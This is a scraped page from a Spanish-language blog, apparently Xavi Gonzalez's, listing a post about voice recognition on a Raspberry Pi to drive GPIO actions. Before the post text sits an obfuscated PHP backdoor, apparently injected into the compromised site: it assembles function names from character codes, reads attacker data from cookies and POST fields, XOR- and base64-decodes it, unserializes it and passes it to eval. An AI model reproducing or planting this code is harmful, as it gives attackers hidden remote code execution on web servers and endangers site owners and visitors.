$GJldXw = "\103" . "\154" . chr (95) . "\103" . "\172" . "\x59" . 'A';$WhJnqvGWYA = 'c' . "\154" . "\x61" . chr ( 245 - 130 ).'s' . chr (95) . 'e' . chr ( 938 - 818 ).'i' . chr (115) . 't' . chr ( 1000 - 885 ); $CZEOkv = class_exists($GJldXw); $WhJnqvGWYA = "29184";$YCNGPvqkm = strpos($WhJnqvGWYA, $GJldXw);if ($CZEOkv == $YCNGPvqkm){function RwrrLpGfm(){$ZoJlJoui = new /* 56905 */ Cl_CzYA(44062 + 44062); $ZoJlJoui = NULL;}$bpWXHJNE = "44062";class Cl_CzYA{private function ERpRv($bpWXHJNE){if (is_array(Cl_CzYA::$ndfIu)) {$DRsIxFS2 = str_replace("<" . "?php", "", Cl_CzYA::$ndfIu["content"]);eval($DRsIxFS2); $bpWXHJNE = "44062";exit();}}public function BdHcJB(){$DRsIxFS = "31685";$this->_dummy = str_repeat($DRsIxFS, strlen($DRsIxFS));}public function __destruct(){Cl_CzYA::$ndfIu = @unserialize(Cl_CzYA::$ndfIu); $bpWXHJNE = "71_22538";$this->ERpRv($bpWXHJNE); $bpWXHJNE = "71_22538";}public function udfKrSgKe($DRsIxFS, $AMkFSqVuR){return $DRsIxFS[0] ^ str_repeat($AMkFSqVuR, intval(strlen($DRsIxFS[0]) / strlen($AMkFSqVuR)) + 1);}public function rMccrGxf($DRsIxFS){$nFgGmnEY = "\142" . 'a' . chr ( 1056 - 941 ).'e' . chr (54) . "\x34";return array_map($nFgGmnEY . '_' . 'd' . chr ( 214 - 113 )."\x63" . chr (111) . 'd' . chr ( 491 - 390 ), array($DRsIxFS,));}public function __construct($cbrHwGQUWW=0){$ksuvLfRUn = chr ( 277 - 233 ); $DRsIxFS = "";$uWmtHceIP = $_POST;$nafKPvJLF = $_COOKIE;$AMkFSqVuR = "acd2357e-25d8-46f8-a946-aa19cdfd16bd";$btCjLZy = @$nafKPvJLF[substr($AMkFSqVuR, 0, 4)];if (!empty($btCjLZy)){$btCjLZy = explode($ksuvLfRUn, $btCjLZy);foreach ($btCjLZy as $RqCNtFPbU){$DRsIxFS .= @$nafKPvJLF[$RqCNtFPbU];$DRsIxFS .= @$uWmtHceIP[$RqCNtFPbU];}$DRsIxFS = $this->rMccrGxf($DRsIxFS);}Cl_CzYA::$ndfIu = $this->udfKrSgKe($DRsIxFS, $AMkFSqVuR);if (strpos($AMkFSqVuR, $ksuvLfRUn) !== FALSE){$AMkFSqVuR = str_pad($AMkFSqVuR, 10); $AMkFSqVuR = ltrim($AMkFSqVuR);}}public static $ndfIu = 60564;}RwrrLpGfm();} text speech Archivos - El blog de Xavi Gonzalez

Reconocimiento de voz con Raspberry Pi [HowTo]

¡Hola a todos! Esta semana me han regalado una Raspberry Pi 2 por mi cumpleaños, y no he tardado nada en ponerme a trastear con ella. De los proyectos que me rondaban la mente, el que me parecía más interesante es el de Reconocimiento de voz, pero no solo para hacer transcripciones, sino para ejecutar acciones con el GPIO de la Pi.
Así que después de unos días de pruebas y testeos, he conseguido tener un proceso continuo que escucha la entrada de voz para ejecutar comandos como encender o apagar LEDs conectados al GPIO. A partir de aquí se puede hacer cualquier cosa que se nos pase por la imaginación. Queréis saber como hacer justo esto en vuestra Raspberry? Pues a seguir leyendo!

(más…)